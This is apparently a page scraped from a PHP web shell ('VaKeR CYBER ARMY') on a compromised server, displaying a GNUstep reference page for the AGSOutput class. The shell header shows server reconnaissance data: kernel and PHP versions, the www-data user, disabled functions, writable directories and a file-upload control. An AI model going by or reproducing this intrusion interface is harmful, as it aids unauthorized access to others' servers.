VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /usr/share/doc/gnustep-base-doc/Tools/Reference/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/gnustep-base-doc/Tools/Reference/AGSOutput.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

    <head>
    <title>AGSOutput... a class to output gsdoc source</title>
  </head>
  <body>
    <font face="serif">
    <a href="BaseTools.html">Up</a>
    <br />
    <h1><a name="title$AGSOutput">AGSOutput... a class to output gsdoc source</a></h1>
    <h3>Authors</h3>
    <dl>
      <dt>Richard Frith-Macdonald (<a href="mailto:richard@brainstorm.co.uk"><code>richard@brainstorm.co.uk</code></a>)</dt>
      <dd>
      </dd>
    </dl>
    <p><b>Copyright:</b> (C) 2001 Free Software Foundation, Inc.</p>

        <div>
    </div>

          <h1><a name="001000000000">The AGSOutput class</a></h1>
    <p>

        This is a really great class... but it&apos;s not really
        reusable since it&apos;s far too special purpose.
          </p>
    <h2><a name="class$AGSOutput">AGSOutput</a> : NSObject</h2>
    <blockquote class="declared">
      <dl>
        <dt><b>Declared in:</b></dt>
        <dd>AGSOutput.h</dd>
      </dl>
    </blockquote>
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
          And finally, here is the actual class description...
          outside the chapter. This is the class description
          for <code>AGSOutput</code>, including some sample uses of
          GSDoc, such as cross-references (see
          NSString

            ). Functions, like
            
              escapeType()
            

            , are automatically referenced (if they are found).
        
    </div>
    <hr width="50%" align="left" />
    <a href="#_AGSOutput_ivars">Instance Variables</a>
    <br/><br/>
    <b>Method summary</b>
    <ul>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-checkComment$unit$info$">-checkComment:unit:info:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-fitWords$from$to$maxSize$output$">-fitWords:from:to:maxSize:output:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-informalProtocols">-informalProtocols</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-output$">-output:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-outputDecl$kind$to$">-outputDecl:kind:to:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-outputFunction$to$">-outputFunction:to:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-outputInstanceVariable$to$for$">-outputInstanceVariable:to:for:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-outputMacro$to$">-outputMacro:to:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-outputMethod$to$for$">-outputMethod:to:for:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-outputUnit$to$">-outputUnit:to:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-reformat$withIndent$to$">-reformat:withIndent:to:</a></li>
      <li><a rel="gsdoc" href="AGSOutput.html#method$AGSOutput-split$">-split:</a></li>
    </ul>
    <hr width="50%" align="left" />
<div class="method">
    <h3><a name="method$AGSOutput-checkComment$unit$info$">checkComment:&nbsp;unit:&nbsp;info:&nbsp;</a></h3>
    - (NSString*) <b>checkComment:</b> (NSString*)comment<b> unit:</b> (NSString*)unit<b> info:</b> (NSMutableDictionary*)d;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-fitWords$from$to$maxSize$output$">fitWords:&nbsp;from:&nbsp;to:&nbsp;maxSize:&nbsp;output:&nbsp;</a></h3>
    - (unsigned) <b>fitWords:</b> (NSArray*)a<b> from:</b> (unsigned)start<b> to:</b> (unsigned)end<b> maxSize:</b> (unsigned)limit<b> output:</b> (NSMutableString*)buf;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-informalProtocols">informalProtocols&nbsp;</a></h3>
    - (NSArray*) <b>informalProtocols</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-output$">output:&nbsp;</a></h3>
    - (NSArray*) <b>output:</b> (NSMutableDictionary*)d;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Return an array containing the names of any files
            modified as a result of outputing the specified
            data structure.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-outputDecl$kind$to$">outputDecl:&nbsp;kind:&nbsp;to:&nbsp;</a></h3>
    - (void) <b>outputDecl:</b> (NSMutableDictionary*)d<b> kind:</b> (NSString*)kind<b> to:</b> (NSMutableString*)str;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Uses <a rel="gsdoc" href="#method$AGSOutput-split$">-split:</a>
 and
            <a rel="gsdoc" href="#method$AGSOutput-reformat$withIndent$to$">
              -reformat:withIndent:to:
            </a>

            .
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-outputFunction$to$">outputFunction:&nbsp;to:&nbsp;</a></h3>
    - (void) <b>outputFunction:</b> (NSMutableDictionary*)d<b> to:</b> (NSMutableString*)str;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Uses <a rel="gsdoc" href="#method$AGSOutput-split$">-split:</a>
 and
            <a rel="gsdoc" href="#method$AGSOutput-reformat$withIndent$to$">
              -reformat:withIndent:to:
            </a>

            . <br /> Place the names of function arguments in a
            temporary array &apos;args&apos; so that they will be
            highlighted if they appear in the function
            description.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-outputInstanceVariable$to$for$">outputInstanceVariable:&nbsp;to:&nbsp;for:&nbsp;</a></h3>
    - (void) <b>outputInstanceVariable:</b> (NSMutableDictionary*)d<b> to:</b> (NSMutableString*)str<b> for:</b> (NSString*)unit;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Output the gsdoc code for an instance variable.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-outputMacro$to$">outputMacro:&nbsp;to:&nbsp;</a></h3>
    - (void) <b>outputMacro:</b> (NSMutableDictionary*)d<b> to:</b> (NSMutableString*)str;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Uses <a rel="gsdoc" href="#method$AGSOutput-split$">-split:</a>
 and
            <a rel="gsdoc" href="#method$AGSOutput-reformat$withIndent$to$">
              -reformat:withIndent:to:
            </a>

            .
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-outputMethod$to$for$">outputMethod:&nbsp;to:&nbsp;for:&nbsp;</a></h3>
    - (void) <b>outputMethod:</b> (NSMutableDictionary*)d<b> to:</b> (NSMutableString*)str<b> for:</b> (NSString*)unit;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Uses <a rel="gsdoc" href="#method$AGSOutput-split$">-split:</a>
 and
            <a rel="gsdoc" href="#method$AGSOutput-reformat$withIndent$to$">
              -reformat:withIndent:to:
            </a>

            . Also has fun with <code>YES</code>, <code>NO</code>,
            and <code>nil</code>. <br /> Check special markup which
            should be removed from the text actually placed in
            the gsdoc method documentation... the special markup is
            included in the gsdoc markup differently.
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-outputUnit$to$">outputUnit:&nbsp;to:&nbsp;</a></h3>
    - (void) <b>outputUnit:</b> (NSMutableDictionary*)d<b> to:</b> (NSMutableString*)str;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-reformat$withIndent$to$">reformat:&nbsp;withIndent:&nbsp;to:&nbsp;</a></h3>
    - (unsigned) <b>reformat:</b> (NSString*)str<b> withIndent:</b> (unsigned)ind<b> to:</b> (NSMutableString*)buf;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
</div>
<div class="method">
    <h3><a name="method$AGSOutput-split$">split:&nbsp;</a></h3>
    - (NSArray*) <b>split:</b> (NSString*)str;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            Split comment text into an array of words (to be
            reformatted) and insert markup for cross
            referencing and highlighting. <br /> Phase 1...
            we take the supplied string and check for white space.
            Any white space sequence is deleted and treated as a
            word separator except within xml element markup. The
            format of element start and end marks is tidied for
            consistency. The resulting data is made into
            an array of strings, each containing either an element
            start or end tag, or one of the whitespace separated
            words. What about str?
          
    </div>
    <hr width="25%" align="left" />
</div>
<a name="_AGSOutput_ivars"/>    <br/><hr width="50%" align="left" />
    <h2>Instance Variables for AGSOutput Class</h2>
    <h3><a name="ivariable$AGSOutput*args">args</a></h3>
    @protected NSArray* <b>args</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*identStart">identStart</a></h3>
    @protected NSCharacterSet* <b>identStart</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*identifier">identifier</a></h3>
    @protected NSCharacterSet* <b>identifier</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*info">info</a></h3>
    @protected NSDictionary* <b>info</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*informalProtocols">informalProtocols</a></h3>
    @protected NSMutableArray* <b>informalProtocols</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*spacenl">spacenl</a></h3>
    @protected NSCharacterSet* <b>spacenl</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*spaces">spaces</a></h3>
    @protected NSCharacterSet* <b>spaces</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*verbose">verbose</a></h3>
    @protected BOOL <b>verbose</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <h3><a name="ivariable$AGSOutput*warn">warn</a></h3>
    @protected BOOL <b>warn</b>;<br />
    <div class="availability">
<b>Availability:</b> OpenStep</div>
<br />
    <div class="desc">
      
            <em>Description forthcoming.</em>
          
    </div>
    <hr width="25%" align="left" />
    <br/><hr width="50%" align="left" /><br/>
    <p>

        Here is the afterword for the class.
          </p>
    <p>

        And here is some automated cross referencing... A method in
        a protocol:
        
          &lt;NSCopying&gt;-copyWithZone:
        

        , a class:
        NSString

          , a protocol:
          &lt;NSCopying&gt;
, and a category: NSRunLoop(GNUstepExtensions)
.    </p>
    <br />
    <a href="BaseTools.html">Up</a>
    </font>
</body>
</html>

VaKeR 2022